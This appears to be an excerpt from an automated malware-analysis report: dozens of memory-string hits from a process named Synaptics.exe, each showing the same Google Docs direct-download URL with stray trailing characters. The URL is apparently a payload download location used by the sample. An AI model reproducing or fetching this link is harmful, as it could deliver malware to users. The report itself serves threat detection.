Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download...
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.c
Source: Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.goo:
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.jq
Source: Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.net
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.q
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.xlsx
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/7
Source: Synaptics.exe, 00000002.00000002.2510648503.00000000193FE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/Z
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/_
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/d3
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/fv_?
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0(
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download02e.
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0:#
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0pg
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1/
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1?
Source: Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2h
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2o
Source: Synaptics.exe, 00000002.00000002.2434252916.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3
Source: Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3-
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download30?
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3d
Source: Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4=
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4I
Source: Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5
Source: Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download50
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2535106563.000000001CFC6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7
Source: Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download79
Source: Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7=9_)
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7Z
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7i
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2503903796.0000000014F3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8
Source: Synaptics.exe, 00000002.00000002.2452727101.0000000007073000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8k)
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8zP
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9-
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download92
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download97g_l
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9P
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9f
Source: Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2535106563.000000001CFC6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:?
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:g
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;~QX
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=1
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=d
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?
Source: Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?8
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?h
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?o
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA
Source: Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA-
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA1
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAd
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAppDa1wG_o
Source: Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB
Source: Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB.
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB4/
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB6
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBe
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.00000000005F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC:
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCH
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDa
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDene
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenet
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenetx
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1770138974.000000000543D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE0
Source: Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE9g_
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEi
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEp
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEy
